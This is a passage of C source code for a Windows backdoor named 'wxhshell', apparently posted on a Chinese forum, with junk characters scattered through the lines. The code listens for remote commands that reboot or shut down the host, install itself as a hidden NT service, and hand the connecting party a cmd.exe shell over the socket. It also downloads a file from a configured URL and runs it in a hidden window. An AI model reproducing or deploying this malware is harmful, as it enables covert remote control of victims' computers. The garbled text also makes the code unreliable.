  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ]Tb?z&  
  } 7D,nxx(`  
  else { WY QVe_<z:  
50|nQ:u,  
    switch(cmd[0]) { \ a7m!v  
  "9d Z z/{  
  // 帮助 wEl7mg !  
  case '?': { 3 ^x&G?)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jl}!UG  
    break; K|\0jd)N  
  } Dq%} ({+  
  // 安装 %QrOEs  
  case 'i': { 0sA`})Dk  
    if(Install()) l%('5oz@\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {>vgtkJ  
    else d&L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); olr#3te  
    break; 5#x[rr{^*  
    } KztQT9kY  
  // 卸载 fQ"Vx!  
  case 'r': { h8%QF'C  
    if(Uninstall()) T%9t8?I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p %.Adxx  
    else bC"h7$3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Mq@5n  
    break; z>0$SBQ-  
    } Pzd!"Gl9  
  // 显示 wxhshell 所在路径 /=l!F'  
  case 'p': { =`>ei  
    char svExeFile[MAX_PATH]; kG9aH Ww  
    strcpy(svExeFile,"\n\r"); b?cO+PY01  
      strcat(svExeFile,ExeFile); 6< -Cpc  
        send(wsh,svExeFile,strlen(svExeFile),0); 6C"zBJcGc  
    break; RTbV!I  
    } Z8/.I  
  // 重启 i9rv8 "0>  
  case 'b': { |7n%8JsY!"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <h+@;/v:  
    if(Boot(REBOOT)) 7!(/7U6rP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dT&u}o3X  
    else { X{i>Q_8>  
    closesocket(wsh); (RrC<5"  
    ExitThread(0); 7BqP3T=&_  
    } @c"s6h&  
    break; KRn[(yr`%  
    } wxBZ+UP_  
  // 关机 E@)'Z6r1  
  case 'd': { ?li/mc.XG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZQir?1=  
    if(Boot(SHUTDOWN)) P*}aeu&lnD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*cc26o  
    else { Y=_*Ai  
    closesocket(wsh); b KIL@AI  
    ExitThread(0); @}wa Z?'  
    } GcA|JS=>  
    break; "|Yy "iB[  
    } 5A 5t  
  // 获取shell _\,lv \u  
  case 's': { c05-1  
    CmdShell(wsh); vr?u=_%Z  
    closesocket(wsh); P|lDW|}D@  
    ExitThread(0); .V}bfd[k$  
    break; XhWo~zh"  
  } <-G3Qgm  
  // 退出 VG$;ri>  
  case 'x': { xX{Zh;M&[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L *|P'  
    CloseIt(wsh); $T66%wX  
    break; UmMu|`  
    } `)KGajB  
  // 离开 L\bc R  
  case 'q': { 3,*A VcQA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HFF rS%  
    closesocket(wsh); * uccY_  
    WSACleanup(); p0l.f`B  
    exit(1); 9&C8c\Y  
    break; ]:T:cO0_n  
        } g`.H)36  
  } M%Vp_ 0  
  } KjF8T7%  
aM#xy6:XG  
  // 提示信息 U#w0E G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EKN<KnU%  
} >XRf= :3  
  } H.]<f vP  
`fJ;4$4  
  return; ER[$TH&  
} <m{#u4FC'  
P%vouC0W  
// shell模块句柄 $/(``8li_  
int CmdShell(SOCKET sock) #(a;w  
{ E(1G!uu<  
STARTUPINFO si; u$ o 19n  
ZeroMemory(&si,sizeof(si)); | "M1+(k7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i*&b@.7N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pd `~#!  
PROCESS_INFORMATION ProcessInfo; |\| v%`r2  
char cmdline[]="cmd"; > hGB o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BV/ ^S.~  
  return 0; If'N0^'W  
} Gb"kl.j  
)/OIzbA3#  
// 自身启动模式 _pvt,pW  
int StartFromService(void) XMxm2-%olP  
{ R]>0A3P  
typedef struct A%&lW9z7  
{ ka(3ONbG  
  DWORD ExitStatus; N693eN!  
  DWORD PebBaseAddress; &Akw V-  
  DWORD AffinityMask; 30sA\TZ  
  DWORD BasePriority; d5{RIM|  
  ULONG UniqueProcessId; wsAb8U C_  
  ULONG InheritedFromUniqueProcessId; wLE|J9t%Ea  
}   PROCESS_BASIC_INFORMATION; fti0Tz'  
KxFA@3  
PROCNTQSIP NtQueryInformationProcess; ]a*26AbU+  
[3tU0BU"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C9FAX$$^(Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ds{)p<LpT  
a%an={  
  HANDLE             hProcess; !# xi^I  
  PROCESS_BASIC_INFORMATION pbi; kaECjZ _&+  
N];K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4>B=k  
  if(NULL == hInst ) return 0; R-4#y%k<  
ChNT; G<6$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;vk>k0S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XN3'k[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c2Y\bKeN  
i"4;{C{s  
  if (!NtQueryInformationProcess) return 0; 3?!c<^"e  
"b)EH/ s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8ddBQfCY  
  if(!hProcess) return 0; jPc,+?  
z\WyL;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ezm*9Jc~p  
a:1$idj  
  CloseHandle(hProcess); DW)81*~g  
DTdqwe6pi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  -f<}lhmQ  
if(hProcess==NULL) return 0; _X{ GZJm  
X LY>}r  
HMODULE hMod; vnlHUQLO  
char procName[255]; x-q_sZ^8  
unsigned long cbNeeded; hw B9N  
nHLMF7\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P_.AqEH  
?ihRt+eR~  
  CloseHandle(hProcess); *c(YlfeZ#  
<Iil*\SC  
if(strstr(procName,"services")) return 1; // 以服务启动 a3Xd~Qs  
q{L-(!uz7_  
  return 0; // 注册表启动 `"#hhKG  
} !&{"tL@.  
i G%R'/*  
// 主模块 *}>)E]O@  
int StartWxhshell(LPSTR lpCmdLine) \[A JWyP  
{ o"p['m*g  
  SOCKET wsl; NjO_Y t  
BOOL val=TRUE; Uu9I;q!|  
  int port=0; /1xBZf rN  
  struct sockaddr_in door; .OlPVMFt  
sH%Ts@Pl  
  if(wscfg.ws_autoins) Install(); CSBDSz  
UC.kI&A  
port=atoi(lpCmdLine); d@ ] N  
p& Kfy~  
if(port<=0) port=wscfg.ws_port; KC8  
_Ec"[xW  
  WSADATA data; C;_00EQ=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m!3D5z]n9  
 +&<k}Mz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^-"tK:{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rt@O@oDI  
  door.sin_family = AF_INET; (g1Op~EM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G[{Av5g mx  
  door.sin_port = htons(port); @h/-P'Lc=7  
6;(b-Dhi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G7r.Jm^q  
closesocket(wsl); lWBewnLKE  
return 1; 1E0!?kRK  
} #];ulDq  
8T Tj<T!N  
  if(listen(wsl,2) == INVALID_SOCKET) { z|zEsDh;  
closesocket(wsl); o[q|dhrANh  
return 1; ]2A2<Q_,  
} n3$u9!|P  
  Wxhshell(wsl); ,V{Bpr  
  WSACleanup(); N:%Nq8I}:  
? ?("0U  
return 0; 1-Dw-./N  
"Jdi>{o8  
} q(Ow:3&  
^)h&s*  
// 以NT服务方式启动 b1%w+*d<z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >~tx8aI{  
{ s +E4AG1r  
DWORD   status = 0; uuL(BUGt-  
  DWORD   specificError = 0xfffffff; XJk~bgO*  
N,:G5WxW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p&D7&Sb[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9#kk5)J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }vg|05L  
  serviceStatus.dwWin32ExitCode     = 0; </R@)_'  
  serviceStatus.dwServiceSpecificExitCode = 0; 'ITZz n*  
  serviceStatus.dwCheckPoint       = 0; K??jV&Xor  
  serviceStatus.dwWaitHint       = 0; K cW 5  
r$Ik* R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^s$U n6v[  
  if (hServiceStatusHandle==0) return; L=P8;Gj)  
6z'0fi|EN  
status = GetLastError(); @g*[}`8]y  
  if (status!=NO_ERROR) p4kK" \ln  
{ N x^JC_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D&]xKx  
    serviceStatus.dwCheckPoint       = 0; @gQ?cU7  
    serviceStatus.dwWaitHint       = 0; ZT`" {#L  
    serviceStatus.dwWin32ExitCode     = status; dF|R`Pa2ML  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3_T'0x\FP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UWdqcOr  
    return; }r"E\~E  
  } P]L%$!g  
X7gB.=\X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a FWTm,)  
  serviceStatus.dwCheckPoint       = 0; ^;?w<9Y  
  serviceStatus.dwWaitHint       = 0; `V.tqZF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F)19cKx7  
} > :0N)Pj  
#W8c)gkG9  
// 处理NT服务事件,比如:启动、停止 -x?|[ +%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RusiCo!r  
{ qR , 5  
switch(fdwControl) E^~ {thf  
{ YeB C6`7y  
case SERVICE_CONTROL_STOP: '%YTM N@  
  serviceStatus.dwWin32ExitCode = 0; }R:oWR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PI8ag  
  serviceStatus.dwCheckPoint   = 0; YYvX@f  
  serviceStatus.dwWaitHint     = 0; 0|4R8Dh*-  
  { ':utU1dL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rAgpcp}  
  } #X6=`Xe#  
  return; 7'`nTF-@v  
case SERVICE_CONTROL_PAUSE: Yt r*"-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D^{jXNDNO  
  break; JBISA _Y  
case SERVICE_CONTROL_CONTINUE: [ .3Gb}B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8"u.GL.  
  break; bf\ Uq<&IJ  
case SERVICE_CONTROL_INTERROGATE: ~fO#En  
  break; viVn  
}; 9YBlMf`KEf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A\ tBmL_s  
} y cWY.HD  
m^^#3*qa  
// 标准应用程序主函数 -3XnUGK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pfm B{  
{ ;[|+tO_  
@*$"6!3s5  
// 获取操作系统版本 HaOSFltf#  
OsIsNt=GetOsVer(); r&XxF >  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o K&G  
pf3-  
  // 从命令行安装 6p 14BruV  
  if(strpbrk(lpCmdLine,"iI")) Install(); ==bT0-M.~  
U.|0y=  
  // 下载执行文件 .GW)"`HbU  
if(wscfg.ws_downexe) { 1ay{uU!EL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TI7)yxa=`  
  WinExec(wscfg.ws_filenam,SW_HIDE); S @)P#  
} mQtOx  
2}ywNVS  
if(!OsIsNt) { v)'Uoe"R%  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZXWm?9uw  
HideProc(); *(VwD)*  
StartWxhshell(lpCmdLine); az Oib=3fz  
} f:9qId ;/M  
else yGb^kR}d  
  if(StartFromService()) NbUibxJ  
  // 以服务方式启动 @h7 i;Ok  
  StartServiceCtrlDispatcher(DispatchTable); JZD&u6tB   
else c5{3  
  // 普通方式启动  PO=A^b  
  StartWxhshell(lpCmdLine); sAP  YQ  
t%Y}JKLR  
return 0; 4rNuAK`2  
}
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只看该作者 1 发表于: 2006-10-10
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